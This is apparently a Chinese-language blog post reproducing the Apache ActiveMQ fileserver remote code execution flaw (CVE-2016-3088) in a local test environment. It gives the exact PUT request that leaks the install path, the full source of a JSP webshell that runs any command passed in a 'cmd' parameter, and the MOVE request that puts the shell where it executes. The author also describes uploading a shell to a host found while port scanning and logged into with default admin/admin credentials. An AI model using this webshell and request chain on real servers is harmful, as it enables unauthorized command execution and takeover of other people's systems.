天天看點

Apache ActiveMQ Fileserver遠端代碼執行漏洞

  掃端口的時候遇到8161端口,輸入admin/admin,成功登陸,之前就看到過相關文章,PUT了一句話上去,但是沒有什麼效果,于是本地搭建了一個環境,記錄一下測試過程。

環境搭建:

ActiveMQ 5.1.0 下載下傳位址:http://activemq.apache.org/activemq-510-release.html

解壓後,輕按兩下運作abtivemq.bat運作。(進入bin目錄,根據自己的作業系統選擇win32或win64,5.1.0隻有win32目錄)

Apache ActiveMQ Fileserver遠端代碼執行漏洞

通路8161端口:

Apache ActiveMQ Fileserver遠端代碼執行漏洞

漏洞利用:

1、 擷取實體路徑

PUT /fileserver/%20/%20 HTTP/1.1      
Apache ActiveMQ Fileserver遠端代碼執行漏洞

2、PUT 一個 Jsp 的 Webshell 到 fileserver 目錄

PUT /fileserver/1.jsp HTTP/1.1       
Apache ActiveMQ Fileserver遠端代碼執行漏洞

jsp webshell,可以執行,嘗試上傳了收集的一些木馬,都報錯了。。。

<%@ page import="java.io.*"%>
<%
    out.print("Hello</br>");
    String strcmd = request.getParameter("cmd");
    String line =null;
    Process p=Runtime.getRuntime().exec(strcmd);
     InputStream is = p.getInputStream();
      BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while((line =br.readLine())!=null){
        out.print(line+"<br>");
    }
%>      

3、利用 MOVE 方法将 Webshell 移入 admin/ 目錄

MOVE /fileserver/1.jsp  HTTP/1.0
Destination:file://C:\activemq\webapps\admin\11.jsp      
Apache ActiveMQ Fileserver遠端代碼執行漏洞

4、成功執行webshell權限

Apache ActiveMQ Fileserver遠端代碼執行漏洞

參考文章:

ActiveMQ安裝部署(Windows) http://blog.csdn.net/clj198606061111/article/details/38145597

Apache ActiveMQ Fileserver遠端代碼執行漏洞(CVE-2016-3088) https://www.seebug.org/vuldb/ssvid-96268